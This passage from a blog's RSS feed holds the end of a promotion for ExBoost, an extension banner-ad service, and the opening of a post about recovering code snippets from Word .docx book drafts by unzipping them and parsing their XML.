ExBoost be available?</h2><p>You can add ExBoost slots to your extension today! Install ExBoost and get your extension showing banners right away.</p><p>The ExBoost dashboard is currently in a closed beta. The dashboard is where you can register your extensions, create campaigns, and track slot performance. Click the button below to join the beta. </p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://docs.google.com/forms/d/e/1FAIpQLSfHiRS7qKDK3STW4iamMugx29y1vxdFhwr3cQIXmgS7kt_BRQ/viewform&quot;,&quot;text&quot;:&quot;GET EARLY EXBOOST ACCESS&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://docs.google.com/forms/d/e/1FAIpQLSfHiRS7qKDK3STW4iamMugx29y1vxdFhwr3cQIXmgS7kt_BRQ/viewform"><span>GET EARLY EXBOOST ACCESS</span></a></p><p>Learn more: <a href="https://extensionboost.com">extensionboost.com</a></p><p>Reach out: <a href="mailto:classvsoftware@gmail.com">classvsoftware@gmail.com</a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Laziness is a Superpower]]></title><description><![CDATA[...or how I dodged weeks of soul-rending tedium with some clever Python]]></description><link>https://mattfrisbie.substack.com/p/laziness-is-a-superpower</link><guid isPermaLink="false">https://mattfrisbie.substack.com/p/laziness-is-a-superpower</guid><dc:creator><![CDATA[Matt Frisbie]]></dc:creator><pubDate>Wed, 01 Nov 2023 22:36:20 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/70914cad-43ee-4dc6-a7bc-9970d730d1b2_1196x1500.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!OvZZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F291af048-125c-44c0-90ec-ffb98b504c38_1196x1500.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OvZZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F291af048-125c-44c0-90ec-ffb98b504c38_1196x1500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!OvZZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F291af048-125c-44c0-90ec-ffb98b504c38_1196x1500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!OvZZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F291af048-125c-44c0-90ec-ffb98b504c38_1196x1500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!OvZZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F291af048-125c-44c0-90ec-ffb98b504c38_1196x1500.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OvZZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F291af048-125c-44c0-90ec-ffb98b504c38_1196x1500.jpeg" width="314" height="393.81270903010034" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/291af048-125c-44c0-90ec-ffb98b504c38_1196x1500.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1500,&quot;width&quot;:1196,&quot;resizeWidth&quot;:314,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!OvZZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F291af048-125c-44c0-90ec-ffb98b504c38_1196x1500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!OvZZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F291af048-125c-44c0-90ec-ffb98b504c38_1196x1500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!OvZZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F291af048-125c-44c0-90ec-ffb98b504c38_1196x1500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!OvZZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F291af048-125c-44c0-90ec-ffb98b504c38_1196x1500.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>When confronted with having to do a thing, nobody in this world will work harder than a lazy person to </strong><em><strong>not do</strong></em><strong> that thing.</strong> </p><p>In October, I published the 5th edition of <a href="https://amzn.to/3u3g8bC">Professional JavaScript for Web Developers</a>, and I&#8217;m reminded of a disaster that I averted when publishing the previous edition in 2019.</p><p>The 4th edition was a 1,200 page monstrosity that took me the better part of two years to revise. Upon finishing the book revisions and editing process, I was utterly horrified to receive this email from my editor:</p><blockquote><p>Hi Matt,</p><p>Please let me know how you would like to submit all the code snippets from the book.</p></blockquote><p>I had <em>completely</em> overlooked the eventual need to extract all the example code snippets in the book and provide them for readers to download. </p><p>Professional JavaScript has <em>thousands</em> of code snippets and examples, most of which are unnamed blocks of inline code. Here&#8217;s one example page from the <em>Async/Await</em> chapter:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Nz6B!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb130bc3f-625e-4fa4-877b-2189cd6bf705_1122x1272.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Nz6B!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb130bc3f-625e-4fa4-877b-2189cd6bf705_1122x1272.png 424w, https://substackcdn.com/image/fetch/$s_!Nz6B!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb130bc3f-625e-4fa4-877b-2189cd6bf705_1122x1272.png 848w, https://substackcdn.com/image/fetch/$s_!Nz6B!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb130bc3f-625e-4fa4-877b-2189cd6bf705_1122x1272.png 1272w, https://substackcdn.com/image/fetch/$s_!Nz6B!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb130bc3f-625e-4fa4-877b-2189cd6bf705_1122x1272.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Nz6B!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb130bc3f-625e-4fa4-877b-2189cd6bf705_1122x1272.png" width="430" height="487.4866310160428" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b130bc3f-625e-4fa4-877b-2189cd6bf705_1122x1272.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1272,&quot;width&quot;:1122,&quot;resizeWidth&quot;:430,&quot;bytes&quot;:116247,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Nz6B!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb130bc3f-625e-4fa4-877b-2189cd6bf705_1122x1272.png 424w, https://substackcdn.com/image/fetch/$s_!Nz6B!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb130bc3f-625e-4fa4-877b-2189cd6bf705_1122x1272.png 848w, https://substackcdn.com/image/fetch/$s_!Nz6B!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb130bc3f-625e-4fa4-877b-2189cd6bf705_1122x1272.png 1272w, https://substackcdn.com/image/fetch/$s_!Nz6B!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb130bc3f-625e-4fa4-877b-2189cd6bf705_1122x1272.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Without a clever workaround, I was doomed to spend <em>weeks</em> copying and pasting example after example out of the drafts. </p><p>As a lazy person, I was determined to not do the thing.</p><h2>Extracting XML</h2><p>The book draft was written in Microsoft Word .docx files with a special publisher template, one file for each chapter. I knew that all .docx files are essentially ZIP files containing XML and other files used by Microsoft Word, so they could be extracted using any standard unzip utility. If I could figure out a reliable way of parsing and extracting code snippets from that XML, the lazy man might yet prevail.</p><p>I fired up a terminal and ran <code>unzip c11_revised.docx</code> to see what I&#8217;d get back:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wIEK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40f7a551-ed58-4297-8d66-b3d410362e8f_1016x878.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wIEK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40f7a551-ed58-4297-8d66-b3d410362e8f_1016x878.png 424w, https://substackcdn.com/image/fetch/$s_!wIEK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40f7a551-ed58-4297-8d66-b3d410362e8f_1016x878.png 848w, https://substackcdn.com/image/fetch/$s_!wIEK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40f7a551-ed58-4297-8d66-b3d410362e8f_1016x878.png 1272w, https://substackcdn.com/image/fetch/$s_!wIEK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40f7a551-ed58-4297-8d66-b3d410362e8f_1016x878.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wIEK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40f7a551-ed58-4297-8d66-b3d410362e8f_1016x878.png" width="574" height="496.03543307086613" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/40f7a551-ed58-4297-8d66-b3d410362e8f_1016x878.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:878,&quot;width&quot;:1016,&quot;resizeWidth&quot;:574,&quot;bytes&quot;:177955,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wIEK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40f7a551-ed58-4297-8d66-b3d410362e8f_1016x878.png 424w, https://substackcdn.com/image/fetch/$s_!wIEK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40f7a551-ed58-4297-8d66-b3d410362e8f_1016x878.png 848w, https://substackcdn.com/image/fetch/$s_!wIEK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40f7a551-ed58-4297-8d66-b3d410362e8f_1016x878.png 1272w, https://substackcdn.com/image/fetch/$s_!wIEK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F40f7a551-ed58-4297-8d66-b3d410362e8f_1016x878.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Seems promising. Let&#8217;s see what the code snippet from above looks like in <code>word/document.xml</code>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_OH3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc134b54-c31c-499a-b4c4-e58d2175769e_1656x1916.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_OH3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc134b54-c31c-499a-b4c4-e58d2175769e_1656x1916.png 424w, https://substackcdn.com/image/fetch/$s_!_OH3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc134b54-c31c-499a-b4c4-e58d2175769e_1656x1916.png 848w, https://substackcdn.com/image/fetch/$s_!_OH3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc134b54-c31c-499a-b4c4-e58d2175769e_1656x1916.png 1272w, https://substackcdn.com/image/fetch/$s_!_OH3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc134b54-c31c-499a-b4c4-e58d2175769e_1656x1916.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_OH3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc134b54-c31c-499a-b4c4-e58d2175769e_1656x1916.png" width="656" height="759.1758241758242" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dc134b54-c31c-499a-b4c4-e58d2175769e_1656x1916.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1685,&quot;width&quot;:1456,&quot;resizeWidth&quot;:656,&quot;bytes&quot;:530593,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_OH3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc134b54-c31c-499a-b4c4-e58d2175769e_1656x1916.png 424w, https://substackcdn.com/image/fetch/$s_!_OH3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc134b54-c31c-499a-b4c4-e58d2175769e_1656x1916.png 848w, https://substackcdn.com/image/fetch/$s_!_OH3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc134b54-c31c-499a-b4c4-e58d2175769e_1656x1916.png 1272w, https://substackcdn.com/image/fetch/$s_!_OH3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc134b54-c31c-499a-b4c4-e58d2175769e_1656x1916.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Looks like the code snippets are broken into long sequences of nested elements, but each contains an element with the attribute <code>w:val="CodeSnippet"</code> . </p><p>A plan emerges: any consecutive XML elements containing <code>w:val="CodeSnippet"</code> could be stitched together into a single string until a <code>w:val</code> attribute NOT equal to <code>CodeSnippet</code> was encountered. This joined string would be recorded as the full code snippet - with formatting preserved, since the whitespace is included.</p><h2>File Extensions</h2><p>The book&#8217;s snippets were predominantly JavaScript, but there were some HTML files sprinkled throughout the book - and none were directly identified by an HTML filename. </p><p>Fortunately, the HTML files were so simplistic that I could just check the snippet string for HTML elements to determine the file extension.</p><h2>Naming Things</h2><p>But what to <em>name</em> the damn files? The snippets are just code floating around in the page. Thankfully, the publisher&#8217;s template offered a solution: the header hierarchy.</p><p>In the process of writing the book, I&#8217;d dutifully stuck to the header styles, since this allows the table of contents to be easily generated.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Y0O0!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fceb77260-9ac6-4a34-8c77-f0445c7fc677_710x802.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Y0O0!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fceb77260-9ac6-4a34-8c77-f0445c7fc677_710x802.png 424w, https://substackcdn.com/image/fetch/$s_!Y0O0!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fceb77260-9ac6-4a34-8c77-f0445c7fc677_710x802.png 848w, https://substackcdn.com/image/fetch/$s_!Y0O0!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fceb77260-9ac6-4a34-8c77-f0445c7fc677_710x802.png 1272w, https://substackcdn.com/image/fetch/$s_!Y0O0!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fceb77260-9ac6-4a34-8c77-f0445c7fc677_710x802.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Y0O0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fceb77260-9ac6-4a34-8c77-f0445c7fc677_710x802.png" width="400" height="451.83098591549293" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ceb77260-9ac6-4a34-8c77-f0445c7fc677_710x802.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:802,&quot;width&quot;:710,&quot;resizeWidth&quot;:400,&quot;bytes&quot;:65235,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Y0O0!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fceb77260-9ac6-4a34-8c77-f0445c7fc677_710x802.png 424w, https://substackcdn.com/image/fetch/$s_!Y0O0!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fceb77260-9ac6-4a34-8c77-f0445c7fc677_710x802.png 848w, https://substackcdn.com/image/fetch/$s_!Y0O0!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fceb77260-9ac6-4a34-8c77-f0445c7fc677_710x802.png 1272w, https://substackcdn.com/image/fetch/$s_!Y0O0!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fceb77260-9ac6-4a34-8c77-f0445c7fc677_710x802.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In doing so, the underlying XML had a hierarchy of attributes denoting chapter titles, sections, and subsections that I would be able to extract.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" 